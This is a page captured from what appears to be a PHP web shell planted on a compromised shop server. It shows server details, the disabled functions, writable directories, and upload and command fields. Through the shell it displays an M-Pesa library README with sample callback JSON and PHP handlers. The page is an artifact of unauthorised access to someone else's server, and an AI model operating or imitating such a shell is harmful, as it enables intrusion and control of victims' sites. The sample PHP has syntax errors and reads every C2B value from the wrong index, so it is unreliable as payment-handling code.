X3ND1 GANTENG
Server IP : 108.163.255.210  /  Your IP : 3.144.104.118
Web Server : Apache
System : Linux blossom.urlnameserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User :  ( 1172)
PHP Version : 7.2.34
Disable Function : eval,escapeshellarg,proc_close,proc_get_status,proc_nice,proc_open,symlink,system,pcntl_exec,getrusage,chown,chgp,closelog,openlog,syslog,define_syslog_variables,php_ini_loaded_file,getservbyname,getservbyport,posix_getgid,posix_getgrgid,proc_terminate,pfsockopen,apache_child_terminate,posix_mkfifo,posix_setpgid,posix_setuid,hypot,pg_host,pos,posix_access,posix_getcwd,posix_getservbyname,myshellexec,getpid,posix_getsid,posix_isatty,posix_kill,posix_mknod,posix_setgid,posix_setsid,posix_setuid,posix_times,posix_uname,ps_fill,posix_getpwuid,global,ini_restore,zip_open,zip_read,rar_open,bzopen,bzread,bzwrite,apache_get_modules,apache_get_version,phpversionphpinfo,php_ini_scanned_files,get_current_user,disk_total_space,diskfreespace,leak,imap_list,hypo,filedump,safe_mode,getmygid,apache_getenv,apache_setenv,bzread,bzwrite,bzopen,phpini,higlight_file,dos_conv,get_cwd,er_log,cmd,e_name,vdir,get_dir,only_read,ftok,ftpexec,posix_getpwnam,mysql_list_dbs,disk_free_space,session_save_path,confirm_phpdoc_compiled,zip_entry_rea,php_u,psockopen,crack_opendict,crack_getlastmessage,crack_closedict,crack_check,fpassthru,posix_get_last_error,posix_getlogin,posix_getgroups,posix_strerror,posix_getrlimit,posix_getpgrp,posix_getgrnam,pos,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/unilinki/public_html/shop/vendor/osenco/mpesa/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ BERANDA ]     

Current File : /home/unilinki/public_html/shop/vendor/osenco/mpesa/RESPONSES.md
# MPESA API Responses
This file includes instructions and sample code for processing callback data sent from Safaricom. It includes sample responses from Safaricom and how to process them accordingly.

## STK Response Data
### Sample Response
```json
{
  "Body":{
    "stkCallback":{
    "MerchantRequestID":"19465-780693-1",
    "CheckoutRequestID":"ws_CO_27072017154747416",
    "ResultCode":0,
    "ResultDesc":"The service request is processed successfully.",
    "CallbackMetadata":{
        "Item":[
          {
            "Name":"Amount",
            "Value":1
          },
          {
            "Name":"MpesaReceiptNumber",
            "Value":"LGR7OWQX0R"
          },
          {
            "Name":"Balance"
          },
          {
            "Name":"TransactionDate",
            "Value":20170727154800
          },
          {
            "Name":"PhoneNumber",
            "Value":254721566839
          }
        ]
      }
    }
  }
}
```

### Sample Callback Function
```php
function mpesa_stk_callback($response)
{
  $data                   = $response["Body"]["stkCallback"];

  $MerchantRequestID      = $data["MerchantRequestID"];
  $CheckoutRequestID      = $data["CheckoutRequestID"],
  $ResultCode             = $data["ResultCode"],
  $ResultDesc             = $data["ResultDesc"],
  $CallbackMetadata       = $data["CallbackMetadata"];

  $Amount                 = $CallbackMetadata["Item"][0]["Value"];
  $MpesaReceiptNumber     = $CallbackMetadata["Item"][1]["Value"];
  $Balance                = $CallbackMetadata["Item"][2]["Value"];
  $TransactionDate        = $CallbackMetadata["Item"][3]["Value"];
  $PhoneNumber            = $CallbackMetadata["Item"][4]["Value"];

  // Do something with the variables above then return true or false

  return true
}
```

## C2B Response Data
### Sample Response
```json
{
  "Body":
  {
    "stkCallback":
    {
      "MerchantRequestID":"19465-780693-1",
      "CheckoutRequestID":"ws_CO_27072017154747416",
      "ResultCode":0,
      "ResultDesc":"The service request is processed successfully.",
      "CallbackMetadata":
      {
          "Item":
        [
          {
            "Name":"Amount",
            "Value":1
          },
          {
            "Name":"MpesaReceiptNumber",
            "Value":"LGR7OWQX0R"
          },
          {
            "Name":"Balance"
          },
          {
            "Name":"TransactionDate",
            "Value":20170727154800
          },
          {
            "Name":"PhoneNumber",
            "Value":254721566839
          }
        ]
      }
    }
  }
}
```

### Sample Callback Function
```php
function mpesa_c2b_callback($response)
{
  $data                   = $response["Body"]["stkCallback"];

  $MerchantRequestID      = $data["MerchantRequestID"];
  $CheckoutRequestID      = $data["CheckoutRequestID"],
  $ResultCode             = $data["ResultCode"],
  $ResultDesc             = $data["ResultDesc"],
  $CallbackMetadata       = $data["CallbackMetadata"];

  $Amount                 = $CallbackMetadata["Item"][0]["Value"];
  $MpesaReceiptNumber     = $CallbackMetadata["Item"][0]["Value"];
  $Balance                = $CallbackMetadata["Item"][0]["Value"];
  $TransactionDate        = $CallbackMetadata["Item"][0]["Value"];
  $PhoneNumber            = $CallbackMetadata["Item"][0]["Value"];

  // Do something with the variables above then return true or false

  return true
}
```

## B2C Response Data
### Sample Response
```json
{
  "Result":
  {
    "ResultType":0,
    "ResultCode":0,
    "ResultDesc":"The service request has been accepted successfully.",
    "OriginatorConversationID":"19455-424535-1",
    "ConversationID":"AG_20170717_00006be9c8b5cc46abb6",
    "TransactionID":"LGH3197RIB",
    "ResultParameters":
    {
      "ResultParameter":
      [
        {
          "Key":"TransactionReceipt",
          "Value":"LGH3197RIB"
        },
        {
          "Key":"TransactionAmount",
          "Value":8000
        },
        {
          "Key":"B2CWorkingAccountAvailableFunds",
          "Value":150000
        },
        {
          "Key":"B2CUtilityAccountAvailableFunds",
          "Value":133568
        },
        {
          "Key":"TransactionCompletedDateTime",
          "Value":"17.07.2017 10:54:57"
        },
        {
          "Key":"ReceiverPartyPublicName",
          "Value":"254708374149 - John Doe"
        },
        {
          "Key":"B2CChargesPaidAccountAvailableFunds",
          "Value":0
        },
        {
          "Key":"B2CRecipientIsRegisteredCustomer",
          "Value":"Y"
        }
      ]
    },
    "ReferenceData":{
      "ReferenceItem":{
        "Key":"QueueTimeoutURL",
        "Value":"https://internalsandbox.safaricom.co.ke/mpesa/b2cresults/v1/submit"
      }
    }
  }
}
```

### Sample Callback Function
```php
function mpesa_b2c_callback($response)
{
  $data                                   = $response["Result"];

  $ResultType                             = $data["ResultType"];
  $ResultCode                             = $data["ResultCode"];
  $ResultDesc                             = $data["ResultDesc"];
  $OriginatorConversationID               = $data["OriginatorConversationID"];
  $ConversationID                         = $data["ConversationID"];
  $TransactionID                          = $data["TransactionID"];
  $ResultParameters                       = $data["ResultParameters"]["ResultParameter"];
  $QueueTimeoutURL                        = $data["ReferenceData"]["ReferenceItem"][0]["Value"];
  
  $TransactionReceipt                     = $ResultParameters[0]["Value"];
  $TransactionAmount                      = $ResultParameters[1]["Value"];
  $B2CWorkingAccountAvailableFunds        = $ResultParameters[2]["Value"];
  $B2CUtilityAccountAvailableFunds        = $ResultParameters[3]["Value"];
  $TransactionCompletedDateTime           = $ResultParameters[4]["Value"];
  $ReceiverPartyPublicName                = $ResultParameters[5]["Value"];
  $B2CChargesPaidAccountAvailableFunds    = $ResultParameters[6]["Value"];
  $B2CRecipientIsRegisteredCustomer       = $ResultParameters[7]["Value"];
  
  // Do something with the variables above then return true or false

  return true
}
```

Anon7 - 2022
SCDN GOK